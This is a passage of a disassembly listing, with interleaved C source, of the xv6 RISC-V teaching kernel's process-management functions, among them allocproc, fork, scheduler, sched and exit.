4605 li a2,1 80001b1c: 040005b7 lui a1,0x4000 80001b20: 15fd addi a1,a1,-1 80001b22: 05b2 slli a1,a1,0xc 80001b24: 8526 mv a0,s1 80001b26: fffff097 auipc ra,0xfffff 80001b2a: 7b0080e7 jalr 1968(ra) # 800012d6 <uvmunmap> uvmfree(pagetable, 0); 80001b2e: 4581 li a1,0 80001b30: 8526 mv a0,s1 80001b32: 00000097 auipc ra,0x0 80001b36: a64080e7 jalr -1436(ra) # 80001596 <uvmfree> return 0; 80001b3a: 4481 li s1,0 80001b3c: bf7d j 80001afa <proc_pagetable+0x58> 0000000080001b3e <proc_freepagetable>: { 80001b3e: 1101 addi sp,sp,-32 80001b40: ec06 sd ra,24(sp) 80001b42: e822 sd s0,16(sp) 80001b44: e426 sd s1,8(sp) 80001b46: e04a sd s2,0(sp) 80001b48: 1000 addi s0,sp,32 80001b4a: 84aa mv s1,a0 80001b4c: 892e mv s2,a1 uvmunmap(pagetable, TRAMPOLINE, 1, 0); 80001b4e: 4681 li a3,0 80001b50: 4605 li a2,1 80001b52: 040005b7 lui a1,0x4000 80001b56: 15fd addi a1,a1,-1 80001b58: 05b2 slli a1,a1,0xc 80001b5a: fffff097 auipc ra,0xfffff 80001b5e: 77c080e7 jalr 1916(ra) # 800012d6 <uvmunmap> uvmunmap(pagetable, TRAPFRAME, 1, 0); 80001b62: 4681 li a3,0 80001b64: 4605 li a2,1 80001b66: 020005b7 lui a1,0x2000 80001b6a: 15fd addi a1,a1,-1 80001b6c: 05b6 slli a1,a1,0xd 80001b6e: 8526 mv a0,s1 80001b70: fffff097 auipc ra,0xfffff 80001b74: 766080e7 jalr 1894(ra) # 800012d6 <uvmunmap> uvmfree(pagetable, sz); 80001b78: 85ca mv a1,s2 80001b7a: 8526 mv a0,s1 80001b7c: 00000097 auipc ra,0x0 80001b80: a1a080e7 jalr -1510(ra) # 80001596 <uvmfree> } 80001b84: 60e2 ld ra,24(sp) 80001b86: 6442 ld s0,16(sp) 80001b88: 64a2 ld s1,8(sp) 80001b8a: 6902 ld s2,0(sp) 80001b8c: 6105 addi sp,sp,32 80001b8e: 8082 ret 0000000080001b90 <freeproc>: { 80001b90: 1101 addi sp,sp,-32 80001b92: ec06 sd ra,24(sp) 80001b94: e822 sd s0,16(sp) 80001b96: e426 sd s1,8(sp) 80001b98: 1000 addi s0,sp,32 80001b9a: 84aa mv s1,a0 if(p->trapframe) 80001b9c: 6d28 ld a0,88(a0) 80001b9e: c509 beqz a0,80001ba8 <freeproc+0x18> kfree((void*)p->trapframe); 80001ba0: fffff097 auipc ra,0xfffff 80001ba4: e84080e7 jalr -380(ra) # 80000a24 <kfree> p->trapframe = 0; 80001ba8: 0404bc23 sd zero,88(s1) if(p->pagetable) 80001bac: 68a8 ld a0,80(s1) 80001bae: c511 beqz a0,80001bba <freeproc+0x2a> proc_freepagetable(p->pagetable, p->sz); 80001bb0: 64ac ld a1,72(s1) 80001bb2: 00000097 auipc ra,0x0 80001bb6: f8c080e7 jalr -116(ra) # 80001b3e <proc_freepagetable> p->pagetable = 0; 80001bba: 0404b823 sd zero,80(s1) p->sz = 0; 80001bbe: 0404b423 sd zero,72(s1) p->pid = 0; 80001bc2: 0204ac23 sw zero,56(s1) p->parent = 0; 80001bc6: 0204b023 sd zero,32(s1) p->name[0] = 0; 80001bca: 14048c23 sb zero,344(s1) p->chan = 0; 80001bce: 0204b423 sd zero,40(s1) p->killed = 0; 80001bd2: 0204a823 sw zero,48(s1) p->xstate = 0; 80001bd6: 0204aa23 sw zero,52(s1) p->state = UNUSED; 80001bda: 0004ac23 sw zero,24(s1) } 80001bde: 60e2 ld ra,24(sp) 80001be0: 6442 ld s0,16(sp) 80001be2: 64a2 ld s1,8(sp) 80001be4: 6105 addi sp,sp,32 80001be6: 8082 ret 0000000080001be8 <allocproc>: { 80001be8: 1101 addi sp,sp,-32 80001bea: ec06 sd ra,24(sp) 80001bec: e822 sd s0,16(sp) 80001bee: e426 sd s1,8(sp) 80001bf0: e04a sd s2,0(sp) 80001bf2: 1000 addi s0,sp,32 for(p = proc; p < &proc[NPROC]; p++) { 80001bf4: 00010497 auipc s1,0x10 80001bf8: 17448493 addi s1,s1,372 # 80011d68 <proc> 80001bfc: 00016917 auipc s2,0x16 80001c00: b6c90913 addi s2,s2,-1172 # 80017768 <tickslock> acquire(&p->lock); 80001c04: 8526 mv a0,s1 80001c06: fffff097 auipc ra,0xfffff 80001c0a: 00a080e7 jalr 10(ra) # 80000c10 <acquire> if(p->state == UNUSED) { 80001c0e: 4c9c lw a5,24(s1) 80001c10: cf81 beqz a5,80001c28 <allocproc+0x40> release(&p->lock); 80001c12: 8526 mv a0,s1 80001c14: fffff097 auipc ra,0xfffff 80001c18: 0b0080e7 jalr 176(ra) # 80000cc4 <release> for(p = proc; p < &proc[NPROC]; p++) { 80001c1c: 16848493 addi s1,s1,360 80001c20: ff2492e3 bne s1,s2,80001c04 <allocproc+0x1c> return 0; 80001c24: 4481 li s1,0 80001c26: a0b9 j 80001c74 <allocproc+0x8c> p->pid = allocpid(); 80001c28: 00000097 auipc ra,0x0 80001c2c: e34080e7 jalr -460(ra) # 80001a5c <allocpid> 80001c30: dc88 sw a0,56(s1) if((p->trapframe = (struct trapframe *)kalloc()) == 0){ 80001c32: fffff097 auipc ra,0xfffff 80001c36: eee080e7 jalr -274(ra) # 80000b20 <kalloc> 80001c3a: 892a mv s2,a0 80001c3c: eca8 sd a0,88(s1) 80001c3e: c131 beqz a0,80001c82 <allocproc+0x9a> p->pagetable = proc_pagetable(p); 80001c40: 8526 mv a0,s1 80001c42: 00000097 auipc ra,0x0 80001c46: e60080e7 jalr -416(ra) # 80001aa2 <proc_pagetable> 80001c4a: 892a mv s2,a0 80001c4c: e8a8 sd a0,80(s1) if(p->pagetable == 0){ 80001c4e: c129 beqz a0,80001c90 <allocproc+0xa8> memset(&p->context, 0, sizeof(p->context)); 80001c50: 07000613 li a2,112 80001c54: 4581 li a1,0 80001c56: 06048513 addi a0,s1,96 80001c5a: fffff097 auipc ra,0xfffff 80001c5e: 0b2080e7 jalr 178(ra) # 80000d0c <memset> p->context.ra = (uint64)forkret; 80001c62: 00000797 auipc a5,0x0 80001c66: db478793 addi a5,a5,-588 # 80001a16 <forkret> 80001c6a: f0bc sd a5,96(s1) p->context.sp = p->kstack + PGSIZE; 80001c6c: 60bc ld a5,64(s1) 80001c6e: 6705 lui a4,0x1 80001c70: 97ba add a5,a5,a4 80001c72: f4bc sd a5,104(s1) } 80001c74: 8526 mv a0,s1 80001c76: 60e2 ld ra,24(sp) 80001c78: 6442 ld s0,16(sp) 80001c7a: 64a2 ld s1,8(sp) 80001c7c: 6902 ld s2,0(sp) 80001c7e: 6105 addi sp,sp,32 80001c80: 8082 ret release(&p->lock); 80001c82: 8526 mv a0,s1 80001c84: fffff097 auipc ra,0xfffff 80001c88: 040080e7 jalr 64(ra) # 80000cc4 <release> return 0; 80001c8c: 84ca mv s1,s2 80001c8e: b7dd j 80001c74 <allocproc+0x8c> freeproc(p); 80001c90: 8526 mv a0,s1 80001c92: 00000097 auipc ra,0x0 80001c96: efe080e7 jalr -258(ra) # 80001b90 <freeproc> release(&p->lock); 80001c9a: 8526 mv a0,s1 80001c9c: fffff097 auipc ra,0xfffff 80001ca0: 028080e7 jalr 40(ra) # 80000cc4 <release> return 0; 80001ca4: 84ca mv s1,s2 80001ca6: b7f9 j 80001c74 <allocproc+0x8c> 0000000080001ca8 <userinit>: { 80001ca8: 1101 addi sp,sp,-32 80001caa: ec06 sd ra,24(sp) 80001cac: e822 sd s0,16(sp) 80001cae: e426 sd s1,8(sp) 80001cb0: 1000 addi s0,sp,32 p = allocproc(); 80001cb2: 00000097 auipc ra,0x0 80001cb6: f36080e7 jalr -202(ra) # 80001be8 <allocproc> 80001cba: 84aa mv s1,a0 initproc = p; 80001cbc: 00007797 auipc a5,0x7 80001cc0: 34a7be23 sd a0,860(a5) # 80009018 <initproc> uvminit(p->pagetable, initcode, sizeof(initcode)); 80001cc4: 03400613 li a2,52 80001cc8: 00007597 auipc a1,0x7 80001ccc: b5858593 addi a1,a1,-1192 # 80008820 <initcode> 80001cd0: 6928 ld a0,80(a0) 80001cd2: fffff097 auipc ra,0xfffff 80001cd6: 6f6080e7 jalr 1782(ra) # 800013c8 <uvminit> p->sz = PGSIZE; 80001cda: 6785 lui a5,0x1 80001cdc: e4bc sd a5,72(s1) p->trapframe->epc = 0; // user program counter 80001cde: 6cb8 ld a4,88(s1) 80001ce0: 00073c23 sd zero,24(a4) # 1018 <_entry-0x7fffefe8> p->trapframe->sp = PGSIZE; // user stack pointer 80001ce4: 6cb8 ld a4,88(s1) 80001ce6: fb1c sd a5,48(a4) safestrcpy(p->name, "initcode", sizeof(p->name)); 80001ce8: 4641 li a2,16 80001cea: 00006597 auipc a1,0x6 80001cee: 4fe58593 addi a1,a1,1278 # 800081e8 <digits+0x1a8> 80001cf2: 15848513 addi a0,s1,344 80001cf6: fffff097 auipc ra,0xfffff 80001cfa: 16c080e7 jalr 364(ra) # 80000e62 <safestrcpy> p->cwd = namei("/"); 80001cfe: 00006517 auipc a0,0x6 80001d02: 4fa50513 addi a0,a0,1274 # 800081f8 <digits+0x1b8> 80001d06: 00002097 auipc ra,0x2 80001d0a: 0b4080e7 jalr 180(ra) # 80003dba <namei> 80001d0e: 14a4b823 sd a0,336(s1) p->state = RUNNABLE; 80001d12: 4789 li a5,2 80001d14: cc9c sw a5,24(s1) release(&p->lock); 80001d16: 8526 mv a0,s1 80001d18: fffff097 auipc ra,0xfffff 80001d1c: fac080e7 jalr -84(ra) # 80000cc4 <release> } 80001d20: 60e2 ld ra,24(sp) 80001d22: 6442 ld s0,16(sp) 80001d24: 64a2 ld s1,8(sp) 80001d26: 6105 addi sp,sp,32 80001d28: 8082 ret 0000000080001d2a <growproc>: { 80001d2a: 1101 addi sp,sp,-32 80001d2c: ec06 sd ra,24(sp) 80001d2e: e822 sd s0,16(sp) 80001d30: e426 sd s1,8(sp) 80001d32: e04a sd s2,0(sp) 80001d34: 1000 addi s0,sp,32 80001d36: 84aa mv s1,a0 struct proc *p = myproc(); 80001d38: 00000097 auipc ra,0x0 80001d3c: ca6080e7 jalr -858(ra) # 800019de <myproc> 80001d40: 892a mv s2,a0 sz = p->sz; 80001d42: 652c ld a1,72(a0) 80001d44: 0005861b sext.w a2,a1 if(n > 0){ 80001d48: 00904f63 bgtz s1,80001d66 <growproc+0x3c> } else if(n < 0){ 80001d4c: 0204cc63 bltz s1,80001d84 <growproc+0x5a> p->sz = sz; 80001d50: 1602 slli a2,a2,0x20 80001d52: 9201 srli a2,a2,0x20 80001d54: 04c93423 sd a2,72(s2) return 0; 80001d58: 4501 li a0,0 } 80001d5a: 60e2 ld ra,24(sp) 80001d5c: 6442 ld s0,16(sp) 80001d5e: 64a2 ld s1,8(sp) 80001d60: 6902 ld s2,0(sp) 80001d62: 6105 addi sp,sp,32 80001d64: 8082 ret if((sz = uvmalloc(p->pagetable, sz, sz + n)) == 0) { 80001d66: 9e25 addw a2,a2,s1 80001d68: 1602 slli a2,a2,0x20 80001d6a: 9201 srli a2,a2,0x20 80001d6c: 1582 slli a1,a1,0x20 80001d6e: 9181 srli a1,a1,0x20 80001d70: 6928 ld a0,80(a0) 80001d72: fffff097 auipc ra,0xfffff 80001d76: 710080e7 jalr 1808(ra) # 80001482 <uvmalloc> 80001d7a: 0005061b sext.w a2,a0 80001d7e: fa69 bnez a2,80001d50 <growproc+0x26> return -1; 80001d80: 557d li a0,-1 80001d82: bfe1 j 80001d5a <growproc+0x30> sz = uvmdealloc(p->pagetable, sz, sz + n); 80001d84: 9e25 addw a2,a2,s1 80001d86: 1602 slli a2,a2,0x20 80001d88: 9201 srli a2,a2,0x20 80001d8a: 1582 slli a1,a1,0x20 80001d8c: 9181 srli a1,a1,0x20 80001d8e: 6928 ld a0,80(a0) 80001d90: fffff097 auipc ra,0xfffff 80001d94: 6aa080e7 jalr 1706(ra) # 8000143a <uvmdealloc> 80001d98: 0005061b sext.w a2,a0 80001d9c: bf55 j 80001d50 <growproc+0x26> 0000000080001d9e <fork>: { 80001d9e: 7179 addi sp,sp,-48 80001da0: f406 sd ra,40(sp) 80001da2: f022 sd s0,32(sp) 80001da4: ec26 sd s1,24(sp) 80001da6: e84a sd s2,16(sp) 80001da8: e44e sd s3,8(sp) 80001daa: e052 sd s4,0(sp) 80001dac: 1800 addi s0,sp,48 struct proc *p = myproc(); 80001dae: 00000097 auipc ra,0x0 80001db2: c30080e7 jalr -976(ra) # 800019de <myproc> 80001db6: 892a mv s2,a0 if((np = allocproc()) == 0){ 80001db8: 00000097 auipc ra,0x0 80001dbc: e30080e7 jalr -464(ra) # 80001be8 <allocproc> 80001dc0: c175 beqz a0,80001ea4 <fork+0x106> 80001dc2: 89aa mv s3,a0 if(uvmcopy(p->pagetable, np->pagetable, p->sz) < 0){ 80001dc4: 04893603 ld a2,72(s2) 80001dc8: 692c ld a1,80(a0) 80001dca: 05093503 ld a0,80(s2) 80001dce: 00000097 auipc ra,0x0 80001dd2: 800080e7 jalr -2048(ra) # 800015ce <uvmcopy> 80001dd6: 04054863 bltz a0,80001e26 <fork+0x88> np->sz = p->sz; 80001dda: 04893783 ld a5,72(s2) 80001dde: 04f9b423 sd a5,72(s3) # 4000048 <_entry-0x7bffffb8> np->parent = p; 80001de2: 0329b023 sd s2,32(s3) *(np->trapframe) = *(p->trapframe); 80001de6: 05893683 ld a3,88(s2) 80001dea: 87b6 mv a5,a3 80001dec: 0589b703 ld a4,88(s3) 80001df0: 12068693 addi a3,a3,288 80001df4: 0007b803 ld a6,0(a5) # 1000 <_entry-0x7ffff000> 80001df8: 6788 ld a0,8(a5) 80001dfa: 6b8c ld a1,16(a5) 80001dfc: 6f90 ld a2,24(a5) 80001dfe: 01073023 sd a6,0(a4) 80001e02: e708 sd a0,8(a4) 80001e04: eb0c sd a1,16(a4) 80001e06: ef10 sd a2,24(a4) 80001e08: 02078793 addi a5,a5,32 80001e0c: 02070713 addi a4,a4,32 80001e10: fed792e3 bne a5,a3,80001df4 <fork+0x56> np->trapframe->a0 = 0; 80001e14: 0589b783 ld a5,88(s3) 80001e18: 0607b823 sd zero,112(a5) 80001e1c: 0d000493 li s1,208 for(i = 0; i < NOFILE; i++) 80001e20: 15000a13 li s4,336 80001e24: a03d j 80001e52 <fork+0xb4> freeproc(np); 80001e26: 854e mv a0,s3 80001e28: 00000097 auipc ra,0x0 80001e2c: d68080e7 jalr -664(ra) # 80001b90 <freeproc> release(&np->lock); 80001e30: 854e mv a0,s3 80001e32: fffff097 auipc ra,0xfffff 80001e36: e92080e7 jalr -366(ra) # 80000cc4 <release> return -1; 80001e3a: 54fd li s1,-1 80001e3c: a899 j 80001e92 <fork+0xf4> np->ofile[i] = filedup(p->ofile[i]); 80001e3e: 00002097 auipc ra,0x2 80001e42: 608080e7 jalr 1544(ra) # 80004446 <filedup> 80001e46: 009987b3 add a5,s3,s1 80001e4a: e388 sd a0,0(a5) for(i = 0; i < NOFILE; i++) 80001e4c: 04a1 addi s1,s1,8 80001e4e: 01448763 beq s1,s4,80001e5c <fork+0xbe> if(p->ofile[i]) 80001e52: 009907b3 add a5,s2,s1 80001e56: 6388 ld a0,0(a5) 80001e58: f17d bnez a0,80001e3e <fork+0xa0> 80001e5a: bfcd j 80001e4c <fork+0xae> np->cwd = idup(p->cwd); 80001e5c: 15093503 ld a0,336(s2) 80001e60: 00001097 auipc ra,0x1 80001e64: 76c080e7 jalr 1900(ra) # 800035cc <idup> 80001e68: 14a9b823 sd a0,336(s3) safestrcpy(np->name, p->name, sizeof(p->name)); 80001e6c: 4641 li a2,16 80001e6e: 15890593 addi a1,s2,344 80001e72: 15898513 addi a0,s3,344 80001e76: fffff097 auipc ra,0xfffff 80001e7a: fec080e7 jalr -20(ra) # 80000e62 <safestrcpy> pid = np->pid; 80001e7e: 0389a483 lw s1,56(s3) np->state = RUNNABLE; 80001e82: 4789 li a5,2 80001e84: 00f9ac23 sw a5,24(s3) release(&np->lock); 80001e88: 854e mv a0,s3 80001e8a: fffff097 auipc ra,0xfffff 80001e8e: e3a080e7 jalr -454(ra) # 80000cc4 <release> } 80001e92: 8526 mv a0,s1 80001e94: 70a2 ld ra,40(sp) 80001e96: 7402 ld s0,32(sp) 80001e98: 64e2 ld s1,24(sp) 80001e9a: 6942 ld s2,16(sp) 80001e9c: 69a2 ld s3,8(sp) 80001e9e: 6a02 ld s4,0(sp) 80001ea0: 6145 addi sp,sp,48 80001ea2: 8082 ret return -1; 80001ea4: 54fd li s1,-1 80001ea6: b7f5 j 80001e92 <fork+0xf4> 0000000080001ea8 <reparent>: { 80001ea8: 7179 addi sp,sp,-48 80001eaa: f406 sd ra,40(sp) 80001eac: f022 sd s0,32(sp) 80001eae: ec26 sd s1,24(sp) 80001eb0: e84a sd s2,16(sp) 80001eb2: e44e sd s3,8(sp) 80001eb4: e052 sd s4,0(sp) 80001eb6: 1800 addi s0,sp,48 80001eb8: 892a mv s2,a0 for(pp = proc; pp < &proc[NPROC]; pp++){ 80001eba: 00010497 auipc s1,0x10 80001ebe: eae48493 addi s1,s1,-338 # 80011d68 <proc> pp->parent = initproc; 80001ec2: 00007a17 auipc s4,0x7 80001ec6: 156a0a13 addi s4,s4,342 # 80009018 <initproc> for(pp = proc; pp < &proc[NPROC]; pp++){ 80001eca: 00016997 auipc s3,0x16 80001ece: 89e98993 addi s3,s3,-1890 # 80017768 <tickslock> 80001ed2: a029 j 80001edc <reparent+0x34> 80001ed4: 16848493 addi s1,s1,360 80001ed8: 03348363 beq s1,s3,80001efe <reparent+0x56> if(pp->parent == p){ 80001edc: 709c ld a5,32(s1) 80001ede: ff279be3 bne a5,s2,80001ed4 <reparent+0x2c> acquire(&pp->lock); 80001ee2: 8526 mv a0,s1 80001ee4: fffff097 auipc ra,0xfffff 80001ee8: d2c080e7 jalr -724(ra) # 80000c10 <acquire> pp->parent = initproc; 80001eec: 000a3783 ld a5,0(s4) 80001ef0: f09c sd a5,32(s1) release(&pp->lock); 80001ef2: 8526 mv a0,s1 80001ef4: fffff097 auipc ra,0xfffff 80001ef8: dd0080e7 jalr -560(ra) # 80000cc4 <release> 80001efc: bfe1 j 80001ed4 <reparent+0x2c> } 80001efe: 70a2 ld ra,40(sp) 80001f00: 7402 ld s0,32(sp) 80001f02: 64e2 ld s1,24(sp) 80001f04: 6942 ld s2,16(sp) 80001f06: 69a2 ld s3,8(sp) 80001f08: 6a02 ld s4,0(sp) 80001f0a: 6145 addi sp,sp,48 80001f0c: 8082 ret 0000000080001f0e <scheduler>: { 80001f0e: 715d addi sp,sp,-80 80001f10: e486 sd ra,72(sp) 80001f12: e0a2 sd s0,64(sp) 80001f14: fc26 sd s1,56(sp) 80001f16: f84a sd s2,48(sp) 80001f18: f44e sd s3,40(sp) 80001f1a: f052 sd s4,32(sp) 80001f1c: ec56 sd s5,24(sp) 80001f1e: e85a sd s6,16(sp) 80001f20: e45e sd s7,8(sp) 80001f22: e062 sd s8,0(sp) 80001f24: 0880 addi s0,sp,80 80001f26: 8792 mv a5,tp int id = r_tp(); 80001f28: 2781 sext.w a5,a5 c->proc = 0; 80001f2a: 00779b13 slli s6,a5,0x7 80001f2e: 00010717 auipc a4,0x10 80001f32: a2270713 addi a4,a4,-1502 # 80011950 <pid_lock> 80001f36: 975a add a4,a4,s6 80001f38: 00073c23 sd zero,24(a4) swtch(&c->context, &p->context); 80001f3c: 00010717 auipc a4,0x10 80001f40: a3470713 addi a4,a4,-1484 # 80011970 <cpus+0x8> 80001f44: 9b3a add s6,s6,a4 p->state = RUNNING; 80001f46: 4c0d li s8,3 c->proc = p; 80001f48: 079e slli a5,a5,0x7 80001f4a: 00010a17 auipc s4,0x10 80001f4e: a06a0a13 addi s4,s4,-1530 # 80011950 <pid_lock> 80001f52: 9a3e add s4,s4,a5 for(p = proc; p < &proc[NPROC]; p++) { 80001f54: 00016997 auipc s3,0x16 80001f58: 81498993 addi s3,s3,-2028 # 80017768 <tickslock> found = 1; 80001f5c: 4b85 li s7,1 80001f5e: a899 j 80001fb4 <scheduler+0xa6> p->state = RUNNING; 80001f60: 0184ac23 sw s8,24(s1) c->proc = p; 80001f64: 009a3c23 sd s1,24(s4) swtch(&c->context, &p->context); 80001f68: 06048593 addi a1,s1,96 80001f6c: 855a mv a0,s6 80001f6e: 00000097 auipc ra,0x0 80001f72: 638080e7 jalr 1592(ra) # 800025a6 <swtch> c->proc = 0; 80001f76: 000a3c23 sd zero,24(s4) found = 1; 80001f7a: 8ade mv s5,s7 release(&p->lock); 80001f7c: 8526 mv a0,s1 80001f7e: fffff097 auipc ra,0xfffff 80001f82: d46080e7 jalr -698(ra) # 80000cc4 <release> for(p = proc; p < &proc[NPROC]; p++) { 80001f86: 16848493 addi s1,s1,360 80001f8a: 01348b63 beq s1,s3,80001fa0 <scheduler+0x92> acquire(&p->lock); 80001f8e: 8526 mv a0,s1 80001f90: fffff097 auipc ra,0xfffff 80001f94: c80080e7 jalr -896(ra) # 80000c10 <acquire> if(p->state == RUNNABLE) { 80001f98: 4c9c lw a5,24(s1) 80001f9a: ff2791e3 bne a5,s2,80001f7c <scheduler+0x6e> 80001f9e: b7c9 j 80001f60 <scheduler+0x52> if(found == 0) { 80001fa0: 000a9a63 bnez s5,80001fb4 <scheduler+0xa6> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80001fa4: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80001fa8: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80001fac: 10079073 csrw sstatus,a5 asm volatile("wfi"); 80001fb0: 10500073 wfi asm volatile("csrr %0, sstatus" : "=r" (x) ); 80001fb4: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80001fb8: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80001fbc: 10079073 csrw sstatus,a5 int found = 0; 80001fc0: 4a81 li s5,0 for(p = proc; p < &proc[NPROC]; p++) { 80001fc2: 00010497 auipc s1,0x10 80001fc6: da648493 addi s1,s1,-602 # 80011d68 <proc> if(p->state == RUNNABLE) { 80001fca: 4909 li s2,2 80001fcc: b7c9 j 80001f8e <scheduler+0x80> 0000000080001fce <sched>: { 80001fce: 7179 addi sp,sp,-48 80001fd0: f406 sd ra,40(sp) 80001fd2: f022 sd s0,32(sp) 80001fd4: ec26 sd s1,24(sp) 80001fd6: e84a sd s2,16(sp) 80001fd8: e44e sd s3,8(sp) 80001fda: 1800 addi s0,sp,48 struct proc *p = myproc(); 80001fdc: 00000097 auipc ra,0x0 80001fe0: a02080e7 jalr -1534(ra) # 800019de <myproc> 80001fe4: 84aa mv s1,a0 if(!holding(&p->lock)) 80001fe6: fffff097 auipc ra,0xfffff 80001fea: bb0080e7 jalr -1104(ra) # 80000b96 <holding> 80001fee: c93d beqz a0,80002064 <sched+0x96> asm volatile("mv %0, tp" : "=r" (x) ); 80001ff0: 8792 mv a5,tp if(mycpu()->noff != 1) 80001ff2: 2781 sext.w a5,a5 80001ff4: 079e slli a5,a5,0x7 80001ff6: 00010717 auipc a4,0x10 80001ffa: 95a70713 addi a4,a4,-1702 # 80011950 <pid_lock> 80001ffe: 97ba add a5,a5,a4 80002000: 0907a703 lw a4,144(a5) 80002004: 4785 li a5,1 80002006: 06f71763 bne a4,a5,80002074 <sched+0xa6> if(p->state == RUNNING) 8000200a: 4c98 lw a4,24(s1) 8000200c: 478d li a5,3 8000200e: 06f70b63 beq a4,a5,80002084 <sched+0xb6> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002012: 100027f3 csrr a5,sstatus return (x & SSTATUS_SIE) != 0; 80002016: 8b89 andi a5,a5,2 if(intr_get()) 80002018: efb5 bnez a5,80002094 <sched+0xc6> asm volatile("mv %0, tp" : "=r" (x) ); 8000201a: 8792 mv a5,tp intena = mycpu()->intena; 8000201c: 00010917 auipc s2,0x10 80002020: 93490913 addi s2,s2,-1740 # 80011950 <pid_lock> 80002024: 2781 sext.w a5,a5 80002026: 079e slli a5,a5,0x7 80002028: 97ca add a5,a5,s2 8000202a: 0947a983 lw s3,148(a5) 8000202e: 8792 mv a5,tp swtch(&p->context, &mycpu()->context); 80002030: 2781 sext.w a5,a5 80002032: 079e slli a5,a5,0x7 80002034: 00010597 auipc a1,0x10 80002038: 93c58593 addi a1,a1,-1732 # 80011970 <cpus+0x8> 8000203c: 95be add a1,a1,a5 8000203e: 06048513 addi a0,s1,96 80002042: 00000097 auipc ra,0x0 80002046: 564080e7 jalr 1380(ra) # 800025a6 <swtch> 8000204a: 8792 mv a5,tp mycpu()->intena = intena; 8000204c: 2781 sext.w a5,a5 8000204e: 079e slli a5,a5,0x7 80002050: 97ca add a5,a5,s2 80002052: 0937aa23 sw s3,148(a5) } 80002056: 70a2 ld ra,40(sp) 80002058: 7402 ld s0,32(sp) 8000205a: 64e2 ld s1,24(sp) 8000205c: 6942 ld s2,16(sp) 8000205e: 69a2 ld s3,8(sp) 80002060: 6145 addi sp,sp,48 80002062: 8082 ret panic("sched p->lock"); 80002064: 00006517 auipc a0,0x6 80002068: 19c50513 addi a0,a0,412 # 80008200 <digits+0x1c0> 8000206c: ffffe097 auipc ra,0xffffe 80002070: 4dc080e7 jalr 1244(ra) # 80000548 <panic> panic("sched locks"); 80002074: 00006517 auipc a0,0x6 80002078: 19c50513 addi a0,a0,412 # 80008210 <digits+0x1d0> 8000207c: ffffe097 auipc ra,0xffffe 80002080: 4cc080e7 jalr 1228(ra) # 80000548 <panic> panic("sched running"); 80002084: 00006517 auipc a0,0x6 80002088: 19c50513 addi a0,a0,412 # 80008220 <digits+0x1e0> 8000208c: ffffe097 auipc ra,0xffffe 80002090: 4bc080e7 jalr 1212(ra) # 80000548 <panic> panic("sched interruptible"); 80002094: 00006517 auipc a0,0x6 80002098: 19c50513 addi a0,a0,412 # 80008230 <digits+0x1f0> 8000209c: ffffe097 auipc ra,0xffffe 800020a0: 4ac080e7 jalr 1196(ra) # 80000548 <panic> 00000000800020a4 <exit>: { 800020a4: 7179 addi sp,sp,-48 800020a6: f406 sd ra,40(sp) 800020a8: f022 sd s0,32(sp) 800020aa: ec26 sd s1,24(sp) 800020ac: e84a sd s2,16(sp) 800020ae: e44e sd s3,8(sp) 800020b0: e052 sd s4,0(sp) 800020b2: 1800 addi s0,sp,48 800020b4: 8a2a mv s4,a0 struct proc *p = myproc(); 800020b6: 00000097 auipc ra,0x0 800020ba: 928080e7 jalr -1752(ra) # 800019de <myproc> 800020be: 89aa mv s3,a0 if(p == initproc) 800020c0: 00007797 auipc a5,0x7 800020c4: f587b783 ld a5,-168(a5) # 80009018 <initproc> 800020c8: 0d050493 addi s1,a0,208 800020cc: 15050913 addi s2,a0,336 800020d0: 02a79363 bne a5,a0,800020f6 <exit+0x52> panic("init exiting"); 800020d4: 00006517 auipc a0,0x6 800020d8: 17450513 addi a0,a0,372 # 80008248 <digits+0x208> 800020dc: ffffe097 auipc ra,0xffffe 800020e0: 46c080e7 jalr 1132(ra) # 80000548 <panic> fileclose(f); 800020e4: 00002097 auipc ra,0x2 800020e8: 3b4080e7 jalr 948(ra) # 80004498 <fileclose> p->ofile[fd] = 0; 800020ec: 0004b023 sd zero,0(s1) for(int fd = 0; fd < NOFILE; fd++){ 800020f0: 04a1 addi s1,s1,8 800020f2: 01248563 beq s1,s2,800020fc <exit+0x58> if(p->ofile[fd]){ 800020f6: 6088 ld a0,0(s1) 800020f8: f575 bnez a0,800020e4 <exit+0x40> 800020fa: bfdd j 800020f0 <exit+0x4c> begin_op(); 800020fc: 00002097 auipc ra,0x2 80002100: eca080e7 jalr -310(ra) # 80003fc6 <begin_op> iput(p->cwd); 80002104: 1509b503 ld a0,336(s3) 80002108: 00001097 auipc ra,0x1 8000210c: 6bc080e7 jalr 1724(ra) # 800037c4 <iput> end_op(); 80002110: 00002097 auipc ra,0x2 80002114: f36080e7 jalr -202(ra) # 80004046 <end_op> p->cwd = 0; 80002118: 1409b823 sd zero,336(s3) acquire(&initproc->lock); 8000211c: 00007497 auipc s1,0x7 80002120: efc48493 addi s1,s1,-260 # 80009018 <initproc> 80002124: 6088 ld a0,0(s1) 80002126: fffff097 auipc ra,0xfffff 8000212a: aea080e7 jalr -1302(ra) # 80000c10 <acquire> wakeup1(initproc); 8000212e: 6088 ld a0,0(s1) 80002130: fffff097 auipc ra,0xfffff 80002134: 76e080e7 jalr 1902(ra) # 8000189e <wakeup1> release(&initproc->lock); 80002138: 6088 ld a0,0(s1) 8000213a: fffff097 auipc ra,0xfffff 8000213e: b8a080e7 jalr -1142(ra) # 80000cc4 <release> acquire(&p->lock); 80002142: 854e mv a0,s3 80002144: fffff097 auipc ra,0xfffff 80002148: acc080e7 jalr -1332(ra) # 80000c10 <acquire> struct proc *original_parent = p->parent; 8000214c: 0209b483 ld s1,32(s3) release(&p->lock); 80002150: 854e mv a0,s3 80002152: fffff097 auipc ra,0xfffff 80002156: b72080e7 jalr -1166(ra) # 80000cc4 <release> acquire(&original_parent->lock); 8000215a: 8526 mv a0,s1 8000215c: fffff097 auipc ra,0xfffff 80002160: ab4080e7 jalr -1356(ra) # 80000c10 <acquire> acquire(&p->lock); 80002164: 854e mv a0,s3 80002166: fffff097 auipc ra,0xfffff 8000216a: aaa080e7 jalr -1366(ra) # 80000c10 <acquire> reparent(p); 8000216e: 854e mv a0,s3 80002170: 00000097 auipc ra,0x0 80002174: d38080e7 jalr -712(ra) # 80001ea8 <reparent> wakeup1(original_parent); 80002178: 8526 mv a0,s1 8000217a: fffff097 auipc 